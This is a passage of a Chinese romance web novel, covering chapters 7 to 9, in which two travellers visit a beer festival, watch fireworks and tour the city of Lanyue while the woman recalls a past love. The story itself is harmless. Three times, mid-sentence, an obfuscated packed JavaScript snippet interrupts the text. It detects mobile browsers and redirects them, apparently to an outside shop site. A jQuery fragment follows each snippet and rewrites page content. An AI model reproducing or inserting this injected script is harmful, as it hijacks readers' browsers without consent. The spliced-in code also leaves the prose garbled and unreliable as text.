极度适配的慢节奏,歌词里唱“Planingtoflyaway,Toescapeeverythingontheground.” 何筱舟偶尔偏头去看李既白年轻而清俊的侧脸,恍惚有种奇妙的时空错位感。 夜色宁静,让人不忍心破坏,于是他们决定一路步行回去。 桐陵是座慢悠悠的城市,沿途能见到各种闲适的市民娱乐活动,下象棋、打牌、唱歌,小朋友在广场上玩滑板…… 一路上走走停停,到酒店已经是深夜了。 在房间门口分别前,何筱舟想到什么,问:“你的今日任务怎么办?” 几乎一整天待在一起,他应该没有时间去做那些看上去很随意实则需要耗费很多时间的事。 他把耳机还给她,“我有顺延机制。” “触发规则是?” “能打满分的风景,或者有什么全新的体验。” 何筱舟笑了笑,刷房卡开门,“晚安。” “晚安。” 洗完澡吹头发,携着温度的热息从指间穿过。 她下意识抓握了下,好似又感受到梧桐树荫下的风。 这确实是个可以称得上是满分的夜晚。 * 转天清早,何筱舟起床的时候,看到李既白更新了一则朋友圈。 时间是七点钟,他在酒店顶层的健身房晨练,第一张图是隔窗拍的晴朗天空,能隐约看到玻璃里的灯牌和健身器材。 何筱舟观察过他的朋友圈,每礼拜发一条,没有文案,放九张图,碎片化的日常,像在做一周总结。 不确定他现在在哪,何筱舟给他发了条微信。 “早。” 他很快回复,带着调侃的意味,“快中午了。” 要洗漱,何筱舟一边挤牙膏,一边扣字,“方便语音吗?” 他直接弹来通话邀请。 “嗨。” 手机就搁在洗漱台上,声音进来时,似有混响。 “今天去哪?” 李既白大概早有想法,几乎没有任何思考停顿,问:“兰岳,怎么样?” 何筱舟有点印象,热量爆炸的碳水之都,除去各种做法花里胡哨的面食,酒类产品也很有名。 屏幕上方蹦出一条新消息,是李既白发来的海报,与此同时,他说:“那里刚好在举办啤酒节,晚上还有焰火表演。” 何筱舟大致估算了距离,“赶得及吗?” “不是特别远,下午能到。” 她往脸上拍保湿水,涂防晒,填补眉色,末了照旧在唇上涂薄薄一层口红。 用惯了的唇膏,今天却怎么看都觉得奇怪。 她便去换了件短吊带,纯黑色款式,露出大面积后背。最后对镜看了看,又着重补了层唇色。 整理完毕,两人先去昨天的餐厅取车,然后正式出发兰岳。 中途在服务区短暂停留,何筱舟换到副驾,抽空参加了个公司的线上会议。 不是什么重要的事,每周五例行的部门会议,她一早了解过组内的工作进度,汇报进行得还算顺利。 断开连接后,何筱舟将电脑放回后座。 李既白启动车子前从后视镜看了她一眼,“方便问一下,你现在是做本专业的工作吗?” “算是。” 她想了想,又用相对通俗易懂的案例做补充:“主要做大模型与具体行业的结合应用,比如智能客服、医疗辅助诊断之类的。” 李既白若有所思地点点头。 何筱舟记起他之前说的毕业后的人生任务线、卡段之类的,大概明白些什么,问道:“你大学读什么专业?” “无人驾驶航空器工程。” “津海航空大学名声在外,应该不难找工作吧?” “你怎么知道?” 李既白讶然地眨眨眼。 他好像没有同她提及过他的学校。 “津海航空航天类的学校就那么几所,也不难猜吧?你这个专业只有津航了。” 李既白惊愕于她的洞察力,如实道:“实际上,校招提供的对口岗位很有限,行业内的成熟企业门槛又比较高。” 大多数毕业生,包括何 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16621094|187888||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 筱舟,都有对所谓龙头企业、大厂的敬畏阶段。 它在业内是标杆般的存在,夸张点说,堪比西游记中的大雷音寺,然而它也是座华丽的围城,进去走一遭,或许只能收获空白经书。 但她知道,需要有这样的过程来消解敬畏。 何筱舟一贯不会说什么漂亮话,更不喜欢说教。 想到很早看过的一部电影,只说:“希望你能找到属于自己的25号底片。” 李既白当即明白过来她的意思,和她对视一眼,会心而笑。 大约四个小时后,抵达主办方设置在兰岳江滩公园的啤酒节场地。 李既白提前在网上买过票,找地方停好车,一路小跑,总算没错过最晚入场时间。 是类似音乐节的形式,请了几支小有名气的乐队做暖场嘉宾,舞台搭建在场地最深处。观演区外围则是各式各样的小摊,售卖不同种类的啤酒。 门票有赠送一个打卡小册子,按上面设置的路线,能喝到一些口味独特的酒。 距离正式开演还有一段时间,两人商量着喝点,走的时候叫个代驾。 李既白翻了翻那几页游玩事项,兴致颇高地问何筱舟:“要不要换个玩法?” 不久前聊起工作时的怅然仿佛是她一晃而过的错觉,他又变得活力满满,与周遭的热闹气氛完美融合,像只重新充饱气鼓胀起来的亮色气球。 何筱舟多少被感染,起了好奇,“怎么玩?” “每个摊位都有编号,我们掷骰子,你的数做十位,我的做个位,拼一起。” “开盲盒。” 第一杯是荔枝果酒,酒味比较淡,味道清甜,更像是带点酒味的果汁。 何筱舟更喜欢黑啤,偏醇厚的口感,类似咖啡或巧克力的味道。 这样玩下来,到第五杯才喝到。 喝完,她将空杯掷进垃圾桶,“我开到想要的了。” 李既白笑:“我也开到了。” 又体验了些其他的新奇搭配,都是些低度数酒种,但掺杂在一起,到后来竟也有种微醺感。 再由江风一吹,脚下草地愈发软绵绵的,像踩在云端。 很快到了热场时间,人群渐渐往观演区汇集。 等待时间里,摄影机摇臂扭动着,开始捕捉场下观众。最初只是挥手之类的简单互动,慢慢演变成kisscameratime. 大家都见怪不怪,有人起哄,有人艳羡。 何筱舟同李既白站在外围,旁观着热闹的浪漫。 离舞台比较远,按理说是绝对不会被拍到的位置,但大屏上的画面从他们这个方位滑过去,很快又晃回来,定格。 最终成像结果,是无论在任何人眼里都很登对的男女合影。 女人穿露肤度很高的吊带上衣,和嫣红的唇色极其适配,眼神却十分淡然,好像什么都不过心的样子,矛盾的冷淡与性感在她身上交织,竟意外的融洽。 男生的外形同样亮眼,清俊与少年气兼有,非常具像化的浓眉星目,眉眼的存在感很是昭彰,加上抿成一线的唇,莫名给人以沉肃的凌厉感。 当然,前提是他的耳朵没有红透。 单凭男生的反应,任谁都会认为他们必然关系不菲。 但两人却迟迟没有动作。 有人好奇地开始找他们的实际位置,在人群中引起了小幅度的骚动,起哄声此起彼伏。 八卦或许是人类的天性,尤其在这样的环境里。 日落时刻的江滩,热烈的氛围催化多巴胺分泌,再与酒精结合,醺然的不止晚风。 镜头也配合地一直没有移开,不知是等待还是确认。 何筱舟望过去一眼,而后和古镇那晚一样,极其随意地,转头问李既白。 “要不,抱一下?” 7. Night Three 何筱舟最先感知到男生身上清新而凛冽的草木气息,混杂些啤酒里的浅淡麦芽香。 像来自旷野的风息,遥远得如在梦里。 下一瞬,她落入一个坚实又炙热的怀抱。 李既白的动作很轻柔,揽住她肩膀的手臂虚环着,只若有似无地轻轻挨着她的皮肤。 但她还是清楚地感受到他精干的肌肉,以及滚烫的体温。 很短暂的拥抱,可能只持续了几秒,她的手都没来得及搭上他的腰。 男生的身体退开时,镜头也随即移向别处。 那之后的场内喧嚣和他们不再相关。 沉默在这方寸之间蔓延,仿佛竖起一道屏障,将两人与热闹的四周分割,形成截然不同的两个世界。 然而何筱舟并不像表面那般平静。 她以为会有类似满足的情绪,但没有,就如微小的火星洒进死寂已久的火山。 不够。 她更想面对面,真正看着那双深邃净澈的眼。 于是她真的这样做了—— 斜跨一小步上前,然后转身。 李既白注意到她的动作,同时抬眼看过来。 距离拥抱发生已经过去了将近一首歌的时间,男生通红的耳根终于恢复正常状态。 同她对视的眼睛也不再赧然,和平时一样清亮。 何筱舟不由自主地想,如果,如果再多一点随性和恣意,就更像了。 林湛通常不会有这样近似于拘谨的神情。 他性子由来散逸,被和睦的家庭以及优渥物质条件滋养而成,有种任何事都不足挂齿的松弛感,实则是更注重自身感受的秉性,相信世界以他为中心。 这其实很难得,不会轻易受外物影响。 除去长相,他们唯一的共同点大概是,性格里有着同样真诚的底色。 李既白见她神情僵凝,试探着问:“我有没有勒疼你,或者有哪里让你感觉到不舒服吗?” 他坦白道:“抱歉,我第一次和女生拥抱。” 何筱舟瞧着他右眼下多出的小痣,莫名觉得碍眼,顿了几秒,才漫不经心地说:“是吗?” 她抿起唇角,“我感觉还不错。” 与料想中的反应一致,男生轻咳了声,不甚自然地转移话题,“下个出场的好像是你喜欢的那支乐队。” “你知道我喜欢哪支乐队?” “你歌单里有他们的歌,出现频率还挺高的。” 何筱舟不意外,他本就是个细心的人。 不过也说不上喜欢,是有次偶然在日推歌单里听到,进入歌手主页随机点开几首,觉得整体风格很熟悉,与林湛乐队的曲风有些相似和共通之处,就加了收藏。 其实林湛玩乐队的时间并不长,高中初有雏形,但也只是和几个发小、好朋友小打小闹参加过市内的小型歌唱类比赛。 真正组建是在大学时期,从酒吧驻唱开始,后来在小型livehouse暖场,经历了很长的默默无闻时期,有机会参加了一次音乐节之后才慢慢打开知名度。 那次他们选择的出场曲目是新发行的《就这样吧》。 由一段低沉的贝斯solo引入,歌词也低迷,取材现实,全都是生活中看似渺小但可能会压垮骆驼的崩溃瞬间,和林湛微带着丧气的嗓音十分契合。 曲风却跟他清秀的长相完全不搭,尤其他还穿一身活力十足的多巴胺配色。 到第一段主歌唱完才渐入佳境。 一记冲击力极强的击镲后切入副歌,恰好下起雨,鼓点和吉他加快节奏,跟逐渐加大的雨势配合得极妙。 贝斯的存在感降下去,林湛拿着麦走到舞台边缘,照样是一副满不在乎的样子,唱着被困境压倒后不着边际的幻想与另类反抗,荒诞又有趣,循序渐进地将气氛点燃至高潮。 雨雾倾覆天地的渺茫视野间,他是灰蒙之中唯一的一抹亮色。 就像他们的乐队名「陨落前摇」,也像林湛通过歌词传达的观念—— 哪怕下一秒就将要面对糟糕透顶的结果,仍然要精彩绝伦地度过当下。 live现场的感染力是巨大的。 陨落前摇的这次初亮相后来也出现在很多音乐类博主的盘点帖里,当天的雨、主唱的低哑嗓音和穿搭,所有看似矛盾的元素融合得恰到好处,共同构成一场极致的演出。 所以,很长一段时间里,何筱舟理所当然地认为爱情是互补。 那种不重结果只用尽全力感受过程的肆意和畅快是她缺失的一角,因为林湛,曾经短暂补齐过,像完全新生的血肉细胞,构成了更为完整的她。 导致失去以后,竟会因剥离而生出痛意。 有款以小众著称的音乐软件至今仍能搜到陨落前摇的歌。 何筱舟却一次也没点开。 有时候她也搞不懂自己,像有什么奇怪的癖好一样,会不由自主地被一些具有林湛特质的事物吸引,却对真正和他相关的唯恐避之不及。 “何......筱舟?” “嗯?” 她回神。 激昂的伴奏渐熄,乐队退场,主持人正站在台上推进下个流程。 “要不要领一份地图?”李既白稍稍倾斜身体,将刚刚用手机拍下的现场大屏递给她看。 他解释说:“是兰岳的市内地图,上面有随机线索,可以领到对应的纪念品。主办方和文旅局联合推出的活动,算是这次啤酒节的小彩蛋。” “好啊。” 何筱舟没什么情绪地低低应了声。 “后面是比赛之类的节目,不如我们去江边?一会有烟花。” 李既白见她神色不太好,这样提议道。 “走吧。” 沿江设有人工沙滩,踩上去软绵绵的。 无声走出一段路后,两人在步道边的长椅坐下。 江面宽阔而渺远,两岸高楼外的绚丽霓虹映在上面,被水纹波澜搅荡成巨幅水彩晕染画。 看久了会有点眼晕。 何筱舟微微仰着身体,双手撑在身后,惬意地闭上眼,“有个问题。” “什么?” “那天,我是说飞机备降到申州后,为什么会答应和我一起?” 李既白沉声说:“我这两天也在想这个问题。” 何筱舟静然望着他的眼睛,等他的答案。 “就像你说的,我想继续毕业旅行。” 没等她应声,他很短促地低笑了下,坦白说:“当然只是很小一部分原因,另外的,我不确定……” 他好像耻于开口,视线移开后才道:“如果我说,以前我因为看了你那段采访找到努力和前行的方向,而现阶段的我也需要这种能量,你会感到冒犯吗?” 意想不到的回答,细想过后又觉得很合理。 人们总会因为自己缺少某些特质而下意识靠近或追随拥有它的人。 “那倒不会,学校当初做这件事,其中有一部分目的就是想起到引导作用。” “只不过,”她说,“现在提起这个我会感觉有点……社死。” “抱歉。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16621095|187888||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 何筱舟摇摇头,想顺着这个话题聊点什么,又觉得交浅言深,便作罢,转而和他商量起今晚在哪落脚比较方便。 两人在出行APP上对比了距离和环境,最后在对岸的酒店预订了两间江景房。 又闲聊了会,八点半,焰火表演准时开始。 他们换了地方,去到江岸边,那里有处延伸到江面上的小平台,四周没有树木遮挡,简直是最佳观景区。 不断有人向这边靠拢而来,愈来愈被缩小的空间里,何筱舟的肩头几乎要挨到李既白的手臂。 “换一下。” 他说着,往她身后挪了一步,把前排桥栏转角的位置让给她,然后站在她斜后方,抬手搭上她身侧的栏杆,为她挡住后面拥挤的人潮。 他的手臂悬横在她腰后,没有和她直接接触。 但存在感很分明,像有种隐秘的引力,惹得她皮肤表层泛起微痒的麻意。 这种被照顾的感觉已经过于陌生,她心头冒出一阵微妙的异样波动。 但极其微弱,一闪而过,很快就被炸响的烟花声驱散。 蜿蜒的彩条快速升空,然后,一簇接着一簇的华丽花团在漆黑夜空里绽开、向四周扩散,最后,又凝聚成巨大的亮星,缓缓下落。 偶有形态新奇的,先是银线,降落过程中又伴随小花炸开,混入幽蓝的莹亮细丝,仿佛下了一场神秘的雨。 江上有小船配合着,燃放一些小型的低空类焰火,远近融合,黑夜变成巨幅画布,不间断地被绘制上炫目璀璨的色彩。 二十分钟很快过去,喧嚣落幕,夜色重归沉寂。 然而视觉刺激依然存在,眼前仿佛还有那些五光十色花束图案的残影。 难言的空落感涌上来,细密、隐晦,却延绵不绝,一点一点将何筱舟吞噬。 她有些心躁,因无从考证这股浪潮的真正源头。 周遭的游客三三两两散去,李既白拿着手机,问她:“回去吗?我叫代驾。” 何筱舟点头,转瞬,又摇摇头。 李既白输地址的手指顿了顿,低眸打量她。 她垂着脑袋,神色难辨。 通常人在经历了盛大的热闹之后会不由自主产生落寞的情绪,这是很正常的心理反应。 但他几乎是下意识联想到她提起过的独自跟团游的起因,再想到那个由于伴侣工作忙而轻易放弃感情的人,竟莫名生出一层薄薄的鄙夷。 “你前男友……是个怎么样的人?” 话脱口,李既白立刻后悔了。 这个问题太越界。 不过何筱舟并没在意,只是落在他身上的眼神变得飘忽不定,似陷入了回忆里。 李既白愈发懊恼,如果是因为失恋,那无疑会加剧她的难过程度,如果是因为别的,只会更影响她的心情。 “他是我的另一面。” 何筱舟这样说道。 李既白没懂。 “简单来说,就是我想成为的那种人。” “其实我是个规则性很强的人,会因为结果焦虑,他相反,不被因果约束,更自如,更天马行空,总能在我陷进怪圈的时候,用各种有趣的方法转移我的注意力。” 李既白若有所思地点点头,捋出一点线头。 如果是这样,那分手原因倒有些合理之处。 完全互补没有共同点的两个人,很容易不同频。 涉及隐私的话题点到即止,他没有那么强的窥私欲,只在何筱舟语毕,无偏无颇地说:“听起来他更适合做朋友。” 8. Day Four 因着这句话,何筱舟当晚没怎么睡熟。 意识朦胧地漂浮着,过去的画面像走马灯一样不停闪回,到最后都有点分不清梦境和现实的界限。 昏噩的状态持续到清早八点。 她被准时响起的闹钟叫醒。 懒得再做任何妆饰,洗漱完,何筱舟直接下楼,去停车场同李既白会合。 他正倚在车前翻看手中的册子,注意到她的身影,朝她挥了挥手。 他穿着那晚在桐陵买的衣服,橙白相间配色的T恤,像落日时分被夕阳余晖晕染的橘色天空。 当时她存了点私心,想看看林湛常穿的衣服风格在他身上是什么样子。 但可能因为这几天习惯了他相对单调的黑白色系穿搭,现在再看竟有种微妙的违和感。 不过,这是在他露出笑容之前的想法。 他应该刚冲过澡,发尾还有些濡湿,随意向后拢着,眉骨英挺,看上去极清爽利落。 待她走近,他弯起唇打招呼,笑意里有轻盈的活力,“早上好。” 何筱舟当即修正结论,不是夕阳,应当是朝日,他好像总有耗不尽的精气神。 “早。” 她掩唇打了个哈欠,上车时嗅到清洁剂味道才稍稍清醒了点,“洗过车?” 李既白解释:“早上去取车,前盖很脏,估计是谁喝多认错了。” 昨晚是打车去的酒店,租来的车是路面上很常见的越野,眼花看错也不奇怪。 只不过找洗车店费了些周折,最后是在自助洗车点清理干净的。 李既白将后座的打包袋递给她,“早餐。” “不一样?” 袋子里放着三明治、饭团和全麦欧包,冰柠茶、咖啡分别卡在杯架里。 何筱舟问:“你吃什么?” “我都可以。” 她拆开三明治包装纸,取过咖啡抿了一小口。 “你的一天有48小时吗?” 李既白:“嗯?” “一大早就有时间做这么多事?” 不止,酒店和啤酒节场地隔江相对,他是跑步过去的。 昨天他注意到大桥是两层结构,上面走机动车,下面是非机动车和人行道,类似观光带一样的设计,果然和想象中一样视野开阔,他今晨在桥中段拍到了披着朝霞的辽阔江面。 下桥经过早点摊,他还驻足看了一会。 兰岳不愧是以面食出名的城市,从早餐开始就热量爆炸。 水煎包、油饼、焦圈、菜盒,简直是糖油混合物的碳水盛宴,甚至粥都是用面粉搅成糊状煮出来的,感觉吃完下一秒就会犯困。 何筱舟静静听李既白讲述完这个充实的早晨,淡然出声,却是问:“我们现在去哪?” 如果是平时,她大概会问一问水煎包的具体做法之类的,因为昨天来兰岳的路上,两人说起当地特色,都对这个食物好奇过。 李既白握紧塑杯,觉察到胸腔内怪异的塌陷感。 昨晚关于她前男友的话题结束后,他们就叫了车动身回酒店。 她坐车时通常不怎么说话,习惯支着手肘托腮看窗外的风景,所以李既白起初没发现她有什么异常。 是在车子到达目的地之后,他先下车,绕到车尾拿行李时,看到她抬手掖了下眼角。 指尖从眼尾划过,绕上鬓边的发丝,很随意的动作,只是轨迹末端有残留的晶莹水迹。 他恍然,后知后觉地意识到,自己置身事外评价她感情的行为有多不妥。 他并不知晓全貌不是吗? 但在下车后,她面色平静地接过行李,照旧笑着同他道谢,让他误以为那一幕是他的错觉。 “先去青年广场吗?” 何筱舟倾身凑过来,指着他手中的地图问。 李既白回过神,“是。” 她低眉看着那几张折页,表情泠然,没什么情绪,似乎真的对上面的内容感兴趣。 李既白略有迟疑地看她一眼,简单说了下玩法。 这实际上是一份别样的兰岳游玩指南,据说有好几条不同的路线,对应的纪念品也不同。 他们拿到的册子里,有六个代指城市地标的图案,背面附一张完整的拼图。 需要分别去各个地点,按照拼图碎片对应的场景打卡拍照,在最后的邮轮中心兑换纪念品,不过没有注明是什么,依然开盲盒。 * 兰岳当地的街头文化氛围十分浓厚。 青年广场便是很典型的聚集地之一。 说明介绍里写,这里晚上一般会有小型的说唱或者街舞活动。上午就比较清净,这会只有几个玩滑板的年轻男生。 李既白观望了会,上前跟其中看起来最熟练的棒球帽男孩攀谈一番,顺利抓拍到Kickflip动作在空中翻转的瞬间。 和拼图中的基本一致。 不得不说,这个活动策划得很用心。 极尽热闹的啤酒节和烟花秀过后,用类似citywalk的形式进行戒断,又能趁势宣传城市文化。 何筱舟稍稍提起些兴致,同一旁检查着照片的李既白搭话,“你会玩滑板吗?” 他摇摇头,“学过一段时间,掌握不好平衡。” “那是我刻板印象了。” 她唇角溢出些许浅淡的善意调笑,“我以为这些耍帅的技能对你这样的帅哥而言,都是信手拈来。” 李既白审度着她的笑意,暗自松了口气。 “有点高看我了,我不仅来不了这个,还有点轻微恐高,”他把册子递给她,“所以,下一张照片可能得你来拍了。” 要去的地标是兰岳中心塔,总体高三百二十米,观光层在二百八十米的高度,基本能俯瞰城市全貌,重点是玻璃材质的走廊,像悬空站在云端。 “可你读航空类专业。” 何筱舟扣上安全带,好奇,“而且能坐飞机。” “专业更偏机械方向,至于坐飞机,我个人在起飞阶段的感受比较剧烈,闭上眼会好点,可以克服。” 虽这样说,到了地方,何筱舟还是问:“真的不上去?来都来了。” 话脱口,两人皆是一愣,对视一眼后哧笑出声。 后来再回忆起整个过程,李既白发现,最紧张的时刻当属他兀自站在廊柱后做心理建设时,何筱舟朝他伸出手—— “要不要牵着我,闭眼试试?” 而当他终于走出去,占据所有感知的却不是立于高处带来的心慌,而是她温热的手掌,以及独特的,带点颗粒感的慵懒嗓音,像文艺电影里的女主念白。 之后她化身专业的讲解员,尽可能详尽地向他转述观景长廊外的都市风光。 从近处鳞次栉比的高楼大厦,到江上来往的船只,再到对岸老城区低矮陈旧的居民楼。 她说天空跟洗过一样干净,云好像悬挂在空中。 文字堆砌砖石,渐而铺开一幅巨大的城市画卷。 中途李既白尝试过睁开眼睛。 但不知是因为恐高还是因为和她相牵的手,视线飘得厉害,只得又匆忙闭上。 该感谢恐高这个原因吗? 否则该怎么解释他重回地面许久后仍发烫的脸,以及加速的心跳? 而且,何筱舟的神情依然沉静,就跟什么都没发生过一样,便更加显得他不够镇定。 李既白只能把注意力转移到路况上。 好在沿途都是林荫,抵达目的地前,他的状态总算恢复如常。 后续的打卡方式都比较和缓。 宁心剧院看一场关于兰岳发展历史的舞台剧;参观培植和养育兰花的基地;傍晚时分到杏南路步行街尝尝海盐咖啡;再出 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16621096|187888||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 发去码头,登上夜晚第一班观光邮轮。 除了在育兰基地耽误了些时间外,其他都很顺利。 他们对植物不太了解,按照片上找对应的兰花品种时,简直到了看花眼的程度。 借助工具用AI识图找,结果就是在邮轮中心兑换的时候还是被工作人员告知有偏差。 纪念品是兰岳中心塔的微缩模型,因为拼图碎片没有完全对应,只能拿到低一等的,剔除了塔身的灯光动效,不过也是一比一还原,礼盒中附赠底座和玻璃罩,看上去精致极了。 打卡地标点分散在不同的区划范围里,这样一天下来,再回到酒店已经将近十点钟了。 在附近小餐馆随意解决了晚饭,两人互相道过晚安,各自回房间休息。 酒店在沿江新区,从这个角度能看到完整的兰岳中心塔,塔身绕着五光十色的灯带,光线在楼层间快速穿梭,变幻莫测。 塔体矗立在夜色中,远远看去颇具科幻感。 昨天晚上李既白就注意到了,还将它收录进每日的二十张相簿里,然而今天再看,竟觉得似乎有哪里变得不一样了。 他在落地窗前凝神站了许久,忽而想到些什么,快步走到玄关,抽了房卡出门。 楼下就有药店,他很快折返。 何筱舟的房间跟他隔了两间,李既白记得房号,抬手敲门时,却犹豫了。 她可能已经睡了,而且——他看了眼时间,现在有点太晚了。 但是,片刻后,门从里面被打开了。 何筱舟抱着换下来的衣服准备拿去洗衣房。 她没预料到门口有人,开口时,声调都提了一个度,“你怎么在这?” 重音在“这”,不在“你”。 李既白沉了口气,“创可贴。” 刚才乘电梯上楼时,他注意到她走路姿势不太对,细看发现她的脚踝已经磨出血块。 她今天穿的鞋子是在桐陵新买的,可能还不太合脚。 何筱舟腾出一只手,扯着裤腿看了下。 应该是下午在步行街那段时间伤的,她一向不在意这样的小创口,只在洗澡被沐浴液打湿后感受到刺疼,这会已经没什么感觉了。 何筱舟本想回绝,但他递过来的包装盒几分坚持地横在两人中间。 她意味深长地盯了他少顷,稍稍抬起脚尖。 “没手,你帮我贴?” 李既白略有迟疑地蹲下身。 她穿一条垂坠感十足的宽松长裤,不好挽上去。 他便示意她将裤腿提起来,踩在他腿上。 何筱舟照做。 画面多少有些滑稽,她怀里还抱着几件脏衣服。 贴完,男生的指腹在两侧胶带上用力按压了下,才缓缓站起身。 何筱舟没开口,等着他的后话。 以他的性子,多半不会因为小事这么晚来找她,肯定还有别的事。 果然。 “昨天,对不起。” 李既白说:“我是说,我不应该贸然置喙你的感情。” 何筱舟旋即明白过来,蹙眉,“所以,你来找我,其实是为了说这个?” 他点头。 何筱舟忽然笑了下。 “你一定要在晚上跟我说这个吗?” 她倏地向前凑近他,指了指眼下的黑眼圈,“又想害我失眠?” 李既白后退一小步,嗓音微哑:“抱歉。” “道歉呢,要落到实处。否则被道歉的人感受不到,会觉得你的歉意其实不怎么走心。” 何筱舟斜倚在门框上,似笑非笑地看着他。 两人在走廊上站了挺长时间,有住客经过时,会好奇地盯着他们瞧。 “我有办法,你回房间后告诉我。” 他把剩余的创可贴递给她,便朝着自己房间那边走去。 9. Day Five 约莫十分钟后,李既白收到何筱舟发来的微信。 “什么办法?” 他刚洗漱完,一手拿着毛巾擦头发,一手握住手机打字,“我打电话给你?” 何筱舟好奇,主动拨去语音电话。 房间里没有任何杂音,能很清楚地听到对面窸窸窣窣的织物摩擦声。 很快,两端归于同样的寂静。 李既白问:“你应该知道ASMR?” “知道。” 何筱舟:“你不会是要现场做这个吧?” “那倒不是,我不会。” 李既白大概在调试什么设备,有微小的电鸣音。 接着,是树叶摇晃、碰撞发出的沙沙声,忽强忽弱,有剧烈,有完全平静,偶尔出现轻弱的蝉鸣和鸟啼,何筱舟几乎立刻想象到一处远离现代都市钢铁森林的山野。 “我有个习惯,会收集不同城市的风声,这是剪辑拼接过的合集,心烦的时候听能静下来,也很助眠。” “这样啊,”何筱舟淡然地抛出新问题,“可是我晚上习惯关机睡觉。” “我把这个小音箱给你送过去?可以用USB的。” 何筱舟滑进被子里,“就这样吧,可以点歌吗?” 李既白:“那得连蓝牙,语音通话会断。” 她心念一动,“其实也有别的办法。” “比如,你来唱。” “……”他静默了几秒,问:“听什么?” “《暧昧》。” “薛之谦?” “王菲。” 李既白清了清嗓子,开始唱之前,煞有介事地做免责声明:“我粤语不标准,你将就听。” 从曲调、歌词和情韵各方面来说,这首歌都更适合女声。 但或许因为是清唱,也或许是因为隔了层电波,他平时清越的嗓音听起来竟多了几分缱绻的味道,与歌词满分适配—— “茶没有喝光早变酸,从来没热恋已相恋。 陪着你天天在兜圈,那缠绕,怎么可算短。” 何筱舟侧躺着,把手机搁在枕边,开了免提,歌声便如流水般,淙淙淌满一室。 她闭上眼,懒懒地发问:“你刚才是在谦虚吗?” 某几处粤语音调可能拿捏得不够准,但整体瑕不掩瑜,绝对不会只是“将就听”的等级。 李既白轻咳了声,“去年津海各高校的联合歌唱比赛,我拿了亚军。” “哦~”何筱舟拖长音调,轻笑出声。 这还是她第一次在他身上见到这个年纪男生独有的小骄傲和臭屁的一面。 但没有过分自信地炫耀夸大,恰到好处。 “那,听听亚军的参赛曲目?” 他大概不擅长高音,几首都是偏和缓的曲风,这类歌曲不太适合比赛,可能赢在感情充沛,让人愉悦又感到放松。 何筱舟几乎快要睡着。 事实上,因为今天的活动范围太大,她本来就疲惫到了极点,不需外力推助应该也能睡个好觉。 但没想到,会发生这样一段插曲。 有点新奇。 好像是第一次有人因为妄自评断她和林湛的感情而向她道歉。 何筱舟以前听过太多关于她和林湛不够相配的说法。 相比起李既白所说的“更适合做朋友”,那些人的言辞要尖锐许多,用“攀附”之类的词来研判何筱舟,研判她和林湛之间相差悬殊的家境。 何筱舟从没在意过这些。 因为她有自己的考量。 这段关系里出现的会消耗她的负面影响,只要小于积极回报,都能够继续下去。 爱情不是何筱舟的必修课题,但她一贯秉持的原则是,既然开始,就认真修习,争求拿高分。 何筱舟大学考进北京一所在国内排得上号的顶尖学府,最初,她信心百倍,对未来憧憬且期待。 可等真正入学,她中学时代的优秀头衔融入人才济济的北京后变得暗淡无光,总有种无形的紧迫感,让她不得不时刻保持冲锋的姿态。 那时她主动承担起自己的学费和生活费,除奖学金,也在校外兼职、做家教。 赚钱的同时还要兼顾能力提升,抽时间参加科创峰会、假期去公司实习,日复一日,忙碌且疲惫。 认识林湛之前,她对北京的印象,只有拥挤、匆忙,高等学府扎堆,以及看起来总是雾蒙蒙的天空。 常年灰度的生活里,恋爱是前所未有的新鲜体验,就好像进入从未开发过的荒芜原野,一点一点培植出生机勃勃的绿洲。 她可以慢下来,不必为银行卡余额和绩点焦虑,感受绿意放肆生长是再美妙不过的事。 电话那头的哼唱听起来轻灵而渺远,时间仿佛静止,又轰然倒退。 她好像回到大二那年的期末考。 课业最重的一年,要同时准备两个专业的考核,她忙到焦头烂额,睡觉都不安稳。bug和一行行代码在梦里变成巨兽,将她的脑细胞一点点蚕食。 那时林湛为了方便乐队排练,申请在校外住。 他每晚准时打来电话,或者讲故事,或者扯闲篇,或者吉他弹唱,让她放松下来,入睡不再那么艰难。 一开始何筱舟不太习惯,会一边通话,一边刷技术论坛的相关博客,但他的声音好像有种魔力,总能引导她不由自主陷入他构建的悠然意境里。 “睡了吗?” 切断电话前,他通常会这样低声确认。 何筱舟有时真的睡着了,连这句话都没听见。 有时神思混沌,会用极轻细的声音回应他,“好了,我今晚只会梦见你了。” 不管是什么状态,隔天总会被通话时长惊到。 * 一小时十六分四十三秒。 何筱舟醒来,看到记录时,有一瞬的恍惚。 但很快消匿,因为李既白在这时候发来微信。 “今天去这里怎么样?不用走很多路。” 她回神,点开消息。 最下面附带一个地址链接,名字叫见山电影博物馆,位置在郊区,对山而立。 吃过早午饭,两人收拾好行李,退了房。 